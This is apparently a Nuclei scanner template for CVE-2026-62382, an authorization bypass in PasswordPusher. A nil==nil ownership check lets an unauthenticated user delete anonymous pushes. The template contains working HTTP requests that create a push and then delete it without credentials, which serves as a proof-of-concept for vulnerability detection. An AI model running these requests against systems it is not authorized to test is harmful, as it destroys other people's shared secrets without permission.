id: CVE-2026-62382 info: name: PasswordPusher v1.45.11-v2.9.5 - Unauthenticated Anonymous Push Deletion via Ownership Bypass author: DhiyaneshDk severity: medium description: | PasswordPusher v1.45.11 through v2.9.5 allows unauthenticated deletion of anonymous pushes due to a nil==nil ownership-check bypass (CWE-863). The deletion guard evaluates (@push.user == current_user) || @push.deletable_by_viewer. For anonymous pushes, @push.user is nil; for unauthenticated requests, current_user is nil. Ruby evaluates nil==nil as true, so the ownership check passes and the deletable_by_viewer=false restriction is completely bypassed. Anyone who knows the secret URL token can permanently expire an anonymous push without any credentials. impact: | An unauthenticated attacker who knows a push's secret URL token can permanently delete (expire) any anonymous push, even when the push creator explicitly set deletable_by_viewer to false. remediation: | Upgrade PasswordPusher to v2.9.6 or later. reference: - https://github.com/pglombardo/PasswordPusher/security/advisories/GHSA-jf2m-hpj9-4qx2 - https://nvd.nist.gov/vuln/detail/CVE-2026-62382 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L cvss-score: 6.9 cve-id: CVE-2026-62382 epss-score: 0.01169 epss-percentile: 0.67174 cwe-id: CWE-863 metadata: verified: true max-request: 2 vendor: pglombardo product: passwordpusher shodan-query: title:"Password Pusher" fofa-query: body="Password Pusher" tags: cve,cve2026,passwordpusher,authz-bypass,intrusive,file-upload flow: | http("create-push"); if (template["url_token"] != "") { http("delete-push"); } http: - id: create-push raw: - | POST /p.json HTTP/1.1 Host: {{Hostname}} Content-Type: application/json Accept: application/json {"password":{"payload":"nuclei-{{randstr}}","deletable_by_viewer":false,"expire_after_views":10}} matchers: - type: dsl internal: true dsl: - 'contains(body, "url_token")' - 'status_code == 201' condition: and extractors: - type: json name: url_token json: - '.url_token' internal: true - id: delete-push raw: - | DELETE /p/{{url_token}}.json HTTP/1.1 Host: {{Hostname}} Accept: application/json matchers: - type: dsl dsl: - 'contains_all(body, "\"expired\":true", "\"deleted\":true")' - 'status_code == 200' condition: and # digest: 4a0a004730450220303c7ecaa943f85cdb087b4284fbd0179bb2879667a996b04c673c7e6bd572080221009f33beadf6599b918c48f7d00d9da4674e18b73d9d903e3d9f369ac316f2f418:922c64590222798bb761d5b6d8e72950